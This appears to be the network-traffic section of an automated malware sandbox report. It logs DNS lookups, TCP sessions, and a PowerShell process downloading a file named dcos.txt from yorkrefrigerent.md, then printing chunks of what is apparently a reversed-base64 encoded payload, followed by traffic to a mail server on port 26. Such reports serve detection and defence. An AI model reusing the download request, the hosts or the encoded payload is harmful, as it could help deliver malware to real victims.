Mar 20, 2023 11:39:15.173135042 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222126007 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222212076 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222323895 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222356081 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222393990 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222448111 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222497940 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222543955 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222553015 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222630978 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.222678900 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.222678900 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.223565102 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.223628998 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.223669052 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.223685980 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.223752975 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224080086 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224138975 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224163055 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224175930 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224214077 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224445105 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224488974 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224524975 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224536896 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224579096 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224673986 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224736929 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224749088 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.224760056 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.224811077 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.273453951 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.273549080 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.273765087 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.273803949 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274024963 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274121046 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274122953 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.274143934 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274188042 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274281025 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.274647951 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274734020 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274867058 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.274884939 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274919987 CET	443	49695	195.178.106.125	192.168.2.5
Mar 20, 2023 11:39:15.274955034 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.274993896 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:15.276947021 CET	49695	443	192.168.2.5	195.178.106.125
Mar 20, 2023 11:39:21.187418938 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:21.299160004 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:21.299515009 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:21.564197063 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:21.565077066 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:21.676940918 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:21.679080963 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:21.790937901 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:21.791357040 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:21.926242113 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:21.930711985 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:22.042381048 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:22.047056913 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:22.159348965 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:22.162383080 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:22.274471045 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:22.274501085 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:22.276468992 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:22.276555061 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:22.276598930 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:22.276634932 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:39:22.388118982 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:22.388180971 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:22.389344931 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:39:22.473431110 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:41:00.929255962 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:41:01.080133915 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:41:01.241976976 CET	26	49696	192.81.170.3	192.168.2.5
Mar 20, 2023 11:41:01.242150068 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:41:01.263398886 CET	49696	26	192.168.2.5	192.81.170.3
Mar 20, 2023 11:41:01.375224113 CET	26	49696	192.81.170.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 11:39:14.710347891 CET	58648	53	192.168.2.5	8.8.8.8
Mar 20, 2023 11:39:14.775989056 CET	53	58648	8.8.8.8	192.168.2.5
Mar 20, 2023 11:39:20.891591072 CET	56894	53	192.168.2.5	8.8.8.8
Mar 20, 2023 11:39:21.012171984 CET	53	56894	8.8.8.8	192.168.2.5
Mar 20, 2023 11:39:21.057976961 CET	50295	53	192.168.2.5	8.8.8.8
Mar 20, 2023 11:39:21.176559925 CET	53	50295	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 11:39:14.710347891 CET	192.168.2.5	8.8.8.8	0x4169	Standard query (0)	yorkrefrigerent.md	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:39:20.891591072 CET	192.168.2.5	8.8.8.8	0x48c3	Standard query (0)	mail.hermosanairobi.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:39:21.057976961 CET	192.168.2.5	8.8.8.8	0x8071	Standard query (0)	mail.hermosanairobi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 11:39:14.775989056 CET	8.8.8.8	192.168.2.5	0x4169	No error (0)	yorkrefrigerent.md		195.178.106.125	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:39:21.012171984 CET	8.8.8.8	192.168.2.5	0x48c3	No error (0)	mail.hermosanairobi.com	hermosanairobi.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 11:39:21.012171984 CET	8.8.8.8	192.168.2.5	0x48c3	No error (0)	hermosanairobi.com		192.81.170.3	A (IP address)	IN (0x0001)	false
Mar 20, 2023 11:39:21.176559925 CET	8.8.8.8	192.168.2.5	0x8071	No error (0)	mail.hermosanairobi.com	hermosanairobi.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 11:39:21.176559925 CET	8.8.8.8	192.168.2.5	0x8071	No error (0)	hermosanairobi.com		192.81.170.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

yorkrefrigerent.md

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49695	195.178.106.125	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-20 10:39:14 UTC	0	OUT	GET /public/storage_old/users/.vbb/dcos.txt HTTP/1.1 Host: yorkrefrigerent.md Connection: Keep-Alive
2023-03-20 10:39:15 UTC	0	IN	HTTP/1.1 200 OK Connection: close content-type: text/plain last-modified: Mon, 20 Mar 2023 05:56:22 GMT accept-ranges: bytes content-length: 224600 date: Mon, 20 Mar 2023 10:39:15 GMT server: LiteSpeed
2023-03-20 10:39:15 UTC	0	IN	Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2023-03-20 10:39:15 UTC	16	IN	Data Raw: 31 39 57 5a 74 6c 47 56 66 52 58 5a 7a 42 41 64 7a 39 47 53 35 4a 30 63 73 46 57 61 30 35 57 5a 6b 56 6d 63 44 6c 45 41 30 4e 33 62 49 39 46 64 6c 4e 48 41 30 4e 58 61 4d 39 47 56 41 51 33 63 70 78 55 5a 6b 39 6d 54 73 31 47 57 41 51 33 63 6c 56 58 63 6c 4a 6c 59 6c 64 46 63 30 52 48 53 41 51 33 63 68 4e 45 41 30 4a 33 62 54 42 41 64 79 39 47 55 66 52 58 5a 7a 42 41 64 79 56 6d 64 75 39 32 51 41 51 6e 63 68 52 33 55 74 6c 6d 63 55 42 41 64 77 6c 6e 63 6a 35 57 52 30 42 58 65 79 4e 6b 51 41 51 48 63 35 4a 33 59 6c 52 45 64 77 6c 6e 63 44 4a 45 41 30 35 57 64 76 4e 6b 62 76 6c 47 64 68 4a 58 5a 30 6c 30 58 30 56 32 63 41 51 6e 62 31 39 32 51 72 4e 57 61 55 39 46 64 6c 64 47 41 30 35 57 64 76 4e 30 58 30 56 32 5a 41 51 6e 62 70 39 47 55 41 51 6e 62 6c 4a 6e Data Ascii: 19WZtlGVfRXZzBAdz9GS5J0csFWa05WZkVmcDlEA0N3bI9FdlNHA0NXaM9GVAQ3cpxUZk9mTs1GWAQ3clVXclJlYldFc0RHSAQ3chNEA0J3bTBAdy9GUfRXZzBAdyVmdu92QAQnchR3UtlmcUBAdwlncj5WR0BXeyNkQAQHc5J3YlREdwlncDJEA05WdvNkbvlGdhJXZ0l0X0V2cAQnb192QrNWaU9FdldGA05WdvN0X0V2ZAQnbp9GUAQnblJn
2023-03-20 10:39:15 UTC	32	IN	Data Raw: 53 49 52 41 30 42 67 72 65 6f 57 41 30 42 67 4b 50 30 78 41 78 2b 42 6c 50 67 49 41 70 78 67 56 4e 59 4f 41 70 4a 67 4d 55 34 7a 41 78 57 67 34 46 6b 61 41 30 74 78 48 4a 49 4e 41 78 42 67 7a 51 4d 79 41 78 57 41 44 59 55 75 42 4a 35 52 37 59 55 2b 41 4a 36 52 33 4f 59 45 41 35 44 67 4b 4c 55 69 42 78 34 42 72 47 38 68 42 5a 49 67 39 65 4d 73 42 5a 34 52 70 61 41 74 42 5a 4d 77 39 61 63 76 42 5a 4d 77 39 52 45 6f 42 5a 55 41 44 65 67 76 42 5a 34 78 6e 59 55 75 42 68 41 67 4b 59 55 75 42 5a 34 68 6c 59 55 75 42 52 41 68 41 67 51 4f 41 52 56 41 44 68 63 67 42 42 55 67 34 46 6b 61 41 73 35 78 68 63 38 6f 42 42 55 41 44 49 6b 74 42 70 34 52 67 55 67 6c 42 52 34 78 64 59 55 75 42 52 55 41 44 4b 67 6e 42 4a 55 41 44 49 4d 73 42 4a 41 67 4b 59 55 75 42 4a 4d 77 Data Ascii: SIRA0BgreoWA0BgKP0xAx+BlPgIApxgVNYOApJgMU4zAxWg4FkaA0txHJINAxBgzQMyAxWADYUuBJ5R7YU+AJ6R3OYEA5DgKLUiBx4BrG8hBZIg9eMsBZ4RpaAtBZMw9acvBZMw9REoBZUADegvBZ4xnYUuBhAgKYUuBZ4hlYUuBRAhAgQOARVADhcgBBUg4FkaAs5xhc8oBBUADIktBp4RgUglBR4xdYUuBRUADKgnBJUADIMsBJAgKYUuBJMw
2023-03-20 10:39:15 UTC	48	IN	Data Raw: 41 45 41 41 30 4a 67 67 41 59 4a 41 41 41 41 41 69 51 48 41 42 41 51 55 43 49 49 41 57 43 41 41 41 41 67 49 6f 41 51 41 41 41 69 41 58 43 51 6b 41 41 41 41 41 45 43 39 41 45 41 41 67 51 67 30 41 45 4a 41 41 41 41 41 68 41 4d 41 42 41 41 49 43 49 49 41 57 43 41 41 41 41 41 49 77 43 51 41 41 6f 43 47 6c 6a 68 68 41 41 41 41 41 41 53 70 41 45 41 41 67 49 67 67 41 59 4a 41 41 41 41 41 67 41 31 49 63 4d 41 6b 42 45 78 49 58 41 78 6e 42 4d 78 46 36 4e 67 66 42 4d 42 41 7a 2f 77 37 42 4d 42 41 7a 50 41 62 42 4d 78 46 36 39 67 32 42 4d 78 49 53 4d 77 56 42 4d 78 49 4e 38 67 73 42 4d 78 49 49 4d 67 51 42 4d 78 49 44 38 51 42 42 4d 78 49 44 4d 77 49 42 4d 78 46 36 35 67 43 42 4d 78 49 44 4d 67 44 42 4d 68 49 35 33 51 39 42 4d 68 49 2b 4c 51 2b 42 4d 68 49 35 62 51 Data Ascii: AEAA0JggAYJAAAAAiQHABAQUCIIAWCAAAAgIoAQAAAiAXCQkAAAAAEC9AEAAgQg0AEJAAAAAhAMABAAICIIAWCAAAAAIwCQAAoCGljhhAAAAAASpAEAAgIggAYJAAAAAgA1IcMAkBExIXAxnBMxF6NgfBMBAz/w7BMBAzPAbBMxF69g2BMxISMwVBMxIN8gsBMxIIMgQBMxID8QBBMxIDMwIBMxF65gCBMxIDMgDBMhI53Q9BMhI+LQ+BMhI5bQ
2023-03-20 10:39:15 UTC	64	IN	Data Raw: 43 69 4a 69 45 6d 35 6a 62 2b 5a 69 67 31 6d 41 72 44 41 41 41 6f 51 4d 38 59 69 4e 36 63 53 4d 32 51 7a 4f 30 63 43 4c 32 6b 7a 46 56 42 41 41 41 30 77 4e 61 41 41 45 63 45 77 46 73 55 74 68 7a 42 41 41 41 63 67 2f 31 4c 2f 7a 39 69 38 7a 6b 37 72 7a 6f 76 36 70 75 2f 78 46 63 4f 4a 41 41 41 67 44 2f 6a 2f 30 4a 6d 2f 33 57 43 5a 32 34 72 34 2f 34 50 64 69 35 2f 74 6b 5a 6a 76 69 2f 6a 2f 30 4a 6d 2f 33 57 4f 5a 32 70 68 48 68 6b 43 41 41 41 34 68 46 37 45 53 4d 39 41 69 4e 79 5a 51 50 35 63 44 50 6b 4a 4c 7a 53 42 41 41 41 30 41 72 68 75 37 71 6e 71 4c 72 6d 76 36 70 6c 47 32 4b 31 6a 4d 41 41 41 77 43 55 6b 7a 49 7a 38 6a 49 30 41 45 42 73 43 46 41 41 41 77 42 43 6c 47 5a 58 5a 47 64 30 42 48 61 31 4e 6d 52 73 79 38 42 41 41 41 41 4c 6b 31 66 70 35 6e Data Ascii: CiJiEm5jb+Zig1mArDAAAoQM8YiN6cSM2QzO0cCL2kzFVBAAA0wNaAAEcEwFsUthzBAAAcg/1L/z9i8zk7rzov6pu/xFcOJAAAgD/j/0Jm/3WCZ24r4/4Pdi5/tkZjvi/j/0Jm/3WOZ2phHhkCAAA4hF7ESM9AiNyZQP5cDPkJLzSBAAA0Arhu7qnqLrmv6plG2K1jMAAAwCUkzIz8jI0AEBsCFAAAwBClGZXZGd0BHa1NmRsy8BAAAALk1fp5n
2023-03-20 10:39:15 UTC	80	IN	Data Raw: 31 56 58 64 31 56 58 64 31 56 48 4d 58 62 57 56 41 41 41 41 65 6b 37 72 70 2b 4c 75 6a 36 37 73 4b 4b 36 72 34 65 61 70 35 75 4b 70 72 4f 4b 75 6c 69 36 6f 6b 6e 61 70 6e 69 43 4d 62 71 4d 41 41 41 77 47 59 53 4a 6e 5a 75 64 6e 51 65 49 6d 61 61 49 6c 62 53 4a 6e 48 71 35 6c 63 75 74 6c 61 69 5a 50 72 7a 54 39 41 41 41 41 58 4d 47 5a 70 5a 48 59 43 67 4c 66 46 41 41 41 41 55 67 6b 57 71 78 43 79 44 4b 41 41 41 67 41 50 68 55 52 61 78 55 43 45 7a 63 4b 41 41 41 41 46 34 4d 48 50 36 39 2f 41 41 41 41 42 45 32 59 71 6b 66 5a 54 42 41 41 41 49 67 30 51 76 32 67 31 44 4f 41 41 41 67 41 76 6a 65 35 36 7a 2b 66 4d 34 58 69 41 41 41 41 46 49 59 68 49 65 5a 67 39 67 75 70 6b 44 41 41 41 55 51 56 53 39 46 51 57 39 31 55 66 4d 44 41 41 41 51 42 35 34 7a 4d 73 6f 54 Data Ascii: 1VXd1VXd1VHMXbWVAAAAek7rp+Luj67sKK6r4eap5uKprOKuli6oknapniCMbqMAAAwGYSJnZudnQeImaaIlbSJnHq5lcutlaiZPrzT9AAAAXMGZpZHYCgLfFAAAAUgkWqxCyDKAAAgAPhURaxUCEzcKAAAAF4MHP69/AAAABE2YqkfZTBAAAIg0Qv2g1DOAAAgAvje56z+fM4XiAAAAFIYhIeZg9gupkDAAAUQVS9FQW91UfMDAAAQB54zMsoT
2023-03-20 10:39:15 UTC	96	IN	Data Raw: 78 73 6e 41 52 77 53 41 2b 76 52 43 41 30 41 47 4b 45 41 41 41 30 52 6a 59 6b 41 4c 42 34 2f 46 4a 41 51 44 61 59 69 43 41 45 41 49 76 68 68 46 47 51 41 41 42 45 7a 65 43 45 42 4c 42 34 66 47 4a 41 51 44 5a 59 69 43 41 49 51 4e 76 5a 68 62 59 70 78 48 44 51 41 41 42 45 7a 65 43 51 42 4c 42 34 50 47 4a 41 51 44 64 77 67 43 41 49 67 4c 6f 59 68 42 4b 77 53 41 2b 7a 52 43 41 30 77 47 4c 6f 41 41 43 34 43 4b 57 59 67 43 73 45 67 2f 61 6b 41 41 41 41 41 41 51 69 54 44 57 45 42 41 41 63 4c 41 41 41 41 71 41 51 41 4d 54 41 41 41 41 41 51 48 41 59 38 73 41 4d 42 41 43 45 41 41 41 45 51 43 41 73 4c 71 41 4d 42 41 41 41 41 41 41 41 67 44 41 41 58 53 41 63 43 41 43 41 41 41 6f 45 41 41 71 55 51 45 2f 2f 76 2f 63 69 54 42 72 49 41 4c 42 34 66 48 48 45 42 41 48 4d 78 Data Ascii: xsnARwSA+vRCA0AGKEAAA0RjYkALB4/FJAQDaYiCAEAIvhhFGQAABEzeCEBLB4fGJAQDZYiCAIQNvZhbYpxHDQAABEzeCQBLB4PGJAQDdwgCAIgLoYhBKwSA+zRCA0wGLoAAC4CKWYgCsEg/akAAAAAAQiTDWEBAAcLAAAAqAQAMTAAAAAQHAY8sAMBACEAAAEQCAsLqAMBAAAAAAAgDAAXSAcCACAAAoEAAqUQE//v/ciTBrIALB4fHHEBAHMx
2023-03-20 10:39:15 UTC	112	IN	Data Raw: 56 6a 53 43 45 45 42 33 4b 41 41 41 59 38 6d 42 52 63 41 4c 47 45 42 44 65 54 77 45 4b 41 51 41 70 38 32 42 47 45 78 2f 2f 2f 2f 4f 34 55 77 4b 43 77 53 41 2b 37 52 43 52 41 51 43 54 63 42 41 45 77 53 41 2b 62 52 43 52 41 51 43 54 6b 78 43 4b 41 41 41 74 2b 6d 41 4b 41 41 41 70 6a 79 44 73 45 67 2f 59 6b 51 45 41 6b 77 45 62 30 51 41 41 41 51 48 4e 69 31 46 5a 64 42 57 59 6b 6d 6a 49 49 42 4c 42 34 76 47 4a 45 42 41 4a 4d 42 48 4b 41 51 41 7a 2b 6d 46 4a 67 77 43 73 45 67 2f 62 6b 51 45 41 6b 77 45 64 77 70 46 5a 68 52 61 4f 6d 51 43 4c 77 53 41 2b 7a 52 43 52 41 51 43 54 67 68 43 4b 41 41 41 7a 2b 47 43 52 30 70 43 41 45 67 73 2b 5a 42 43 52 67 77 45 42 41 41 41 67 30 34 46 4b 41 51 41 78 69 79 41 69 77 53 41 2b 66 52 43 52 41 51 43 54 34 68 42 54 6f 41 Data Ascii: VjSCEEB3KAAAY8mBRcALGEBDeTwEKAQAp82BGEx////O4UwKCwSA+7RCRAQCTcBAEwSA+bRCRAQCTkxCKAAAt+mAKAAApjyDsEg/YkQEAkwEb0QAAAQHNi1FZdBWYkmjIIBLB4vGJEBAJMBHKAQAz+mFJgwCsEg/bkQEAkwEdwpFZhRaOmQCLwSA+zRCRAQCTghCKAAAz+GCR0pCAEgs+ZBCRgwEBAAAg04FKAQAxiyAiwSA+fRCRAQCT4hBToA
2023-03-20 10:39:15 UTC	128	IN	Data Raw: 52 6b 67 6f 4b 41 41 41 6d 2f 6d 42 52 59 68 6d 46 45 52 43 46 45 52 43 51 45 6a 46 47 45 68 42 54 6f 41 41 41 38 2f 62 47 41 67 41 6a 68 53 61 36 61 64 75 67 6f 5a 42 52 6b 67 6f 4b 41 41 41 6d 2f 57 57 58 6f 41 41 41 6f 78 62 61 57 51 45 4a 59 68 6d 46 45 52 43 46 45 52 43 5a 77 69 43 41 41 51 5a 76 5a 41 41 43 4d 47 4b 70 70 72 31 67 43 69 6d 46 45 52 43 69 71 41 41 42 45 35 62 42 41 41 41 67 30 6f 46 61 57 51 45 4a 55 51 45 4a 41 41 41 41 49 4b 4f 46 4d 68 46 45 4d 52 57 58 6b 6d 6a 4a 30 67 43 41 41 41 50 76 64 51 45 64 79 79 48 57 63 51 45 48 4d 52 41 41 41 41 49 4e 65 68 43 41 41 67 30 76 68 31 46 4b 41 41 41 2f 2f 6d 42 41 49 77 59 6f 6b 6d 75 57 76 4b 49 45 41 41 41 51 76 6e 41 41 41 67 56 50 61 41 42 41 41 77 78 37 4a 41 42 41 41 41 30 37 4a 41 Data Ascii: RkgoKAAAm/mBRYhmFERCFERCQEjFGEhBToAAA8/bGAgAjhSa6adugoZBRkgoKAAAm/WWXoAAAoxbaWQEJYhmFERCFERCZwiCAAQZvZAACMGKppr1gCimFERCiqAABE5bBAAAg0oFaWQEJUQEJAAAAIKOFMhFEMRWXkmjJ0gCAAAPvdQEdyyHWcQEHMRAAAAINehCAAg0vh1FKAAA//mBAIwYokmuWvKIEAAAQvnAAAgVPaABAAwx7JABAAA07JA
2023-03-20 10:39:15 UTC	144	IN	Data Raw: 4c 67 43 43 4f 77 53 41 2b 33 68 46 52 41 67 46 54 6f 52 46 54 59 68 42 73 45 67 2f 5a 59 52 45 41 59 78 45 4b 38 42 41 41 49 67 31 35 6b 67 43 73 45 67 2f 4a 38 68 46 52 41 67 46 54 6b 42 46 54 49 67 42 73 45 67 2f 59 59 52 45 41 59 78 45 62 41 41 41 43 77 50 4f 49 77 53 41 2b 72 68 46 52 41 67 46 54 6b 77 48 4e 59 41 41 42 6b 47 4b 48 73 41 4c 42 34 76 48 57 45 42 41 57 4d 42 48 4c 6f 5a 46 52 51 52 45 4a 77 53 41 2b 76 68 46 52 41 41 41 41 41 51 76 34 59 78 45 57 45 42 41 41 38 47 41 41 4d 67 51 41 55 41 4d 62 41 67 4b 47 38 2f 2f 36 50 50 4f 46 73 69 41 73 45 67 2f 72 38 78 46 52 41 77 46 54 63 42 41 45 77 53 41 2b 62 78 46 52 41 77 46 54 67 68 43 4b 41 41 41 34 4e 58 43 73 45 67 2f 58 63 52 45 41 63 78 45 64 38 52 45 54 45 41 41 41 30 52 6a 41 41 41 Data Ascii: LgCCOwSA+3hFRAgFToRFTYhBsEg/ZYREAYxEK8BAAIg15kgCsEg/J8hFRAgFTkBFTIgBsEg/YYREAYxEbAAACwPOIwSA+rhFRAgFTkwHNYAABkGKHsALB4vHWEBAWMBHLoZFRQREJwSA+vhFRAAAAAQv4YxEWEBAA8GAAMgQAUAMbAgKG8//6PPOFsiAsEg/r8xFRAwFTcBAEwSA+bxFRAwFTghCKAAA4NXCsEg/XcREAcxEd8RETEAAA0RjAAA
2023-03-20 10:39:15 UTC	160	IN	Data Raw: 54 45 52 6e 4e 38 68 46 54 45 78 45 54 45 41 41 41 41 53 6a 59 6f 41 41 41 6f 32 62 47 41 67 41 6a 68 69 6c 46 52 30 68 67 6f 51 45 4d 45 42 41 41 41 67 74 35 6f 41 41 41 63 32 62 4b 45 42 44 52 77 77 45 61 4b 52 45 52 45 42 41 41 41 51 30 34 49 78 45 57 45 78 45 4c 45 78 43 54 6f 41 41 41 4d 4d 4b 4b 41 51 41 32 38 6d 43 41 45 51 4e 76 6c 51 45 49 45 68 43 54 6f 41 41 41 6f 41 4b 47 41 67 41 6a 68 53 61 36 75 62 65 67 6f 41 41 42 73 7a 62 4b 41 51 41 31 38 57 43 52 67 51 45 41 41 51 41 63 6b 6a 43 41 41 77 43 6f 6f 41 41 42 59 7a 62 4b 41 51 41 31 38 57 43 52 67 51 45 41 41 51 41 36 67 54 43 54 59 68 43 41 45 51 4f 76 70 41 41 42 67 7a 63 47 41 67 41 6a 68 53 61 36 75 72 5a 67 6f 41 41 41 6f 41 4b 47 41 67 41 6a 68 53 61 36 71 4c 68 67 6f 41 41 41 4d 43 Data Ascii: TERnN8hFTExETEAAAASjYoAAAo2bGAgAjhilFR0hgoQEMEBAAAgt5oAAAc2bKEBDRwwEaKREREBAAAQ04IxEWExELExCToAAAMMKKAQA28mCAEQNvlQEIEhCToAAAoAKGAgAjhSa6ubegoAABszbKAQA18WCRgQEAAQAckjCAAwCooAABYzbKAQA18WCRgQEAAQA6gTCTYhCAEQOvpAABgzcGAgAjhSa6urZgoAAAoAKGAgAjhSa6qLhgoAAAMC
2023-03-20 10:39:15 UTC	176	IN	Data Raw: 2b 62 78 44 52 41 77 44 54 6b 68 43 54 45 41 41 41 30 51 6a 62 73 41 4c 42 34 50 47 50 45 42 41 50 4d 78 45 66 51 77 45 61 36 51 45 4e 45 78 43 73 45 67 2f 53 38 78 44 52 41 77 44 54 77 78 48 4e 49 54 61 4f 32 51 45 4f 45 42 44 73 45 67 2f 62 38 78 44 52 41 77 44 54 30 68 6f 4b 41 41 41 4b 67 69 42 41 49 77 59 6f 6b 6d 75 49 36 44 49 4b 41 41 41 36 67 43 48 66 6b 68 43 52 30 42 4c 42 34 50 48 50 45 42 41 50 4d 68 48 69 71 41 41 41 6f 41 4b 47 41 67 41 6a 68 53 61 36 69 59 2f 67 6f 41 41 41 6f 44 4b 63 38 68 47 4b 45 52 48 73 45 67 2f 64 38 51 45 41 38 77 45 57 38 68 42 54 59 41 41 42 67 50 4b 57 59 41 41 43 4d 47 4b 70 70 62 69 6a 42 69 42 41 49 77 59 6f 6b 6d 75 49 4f 4a 49 45 45 68 49 73 45 67 2f 56 38 78 44 52 41 77 44 54 30 78 48 4d 4d 42 57 58 77 51 Data Ascii: 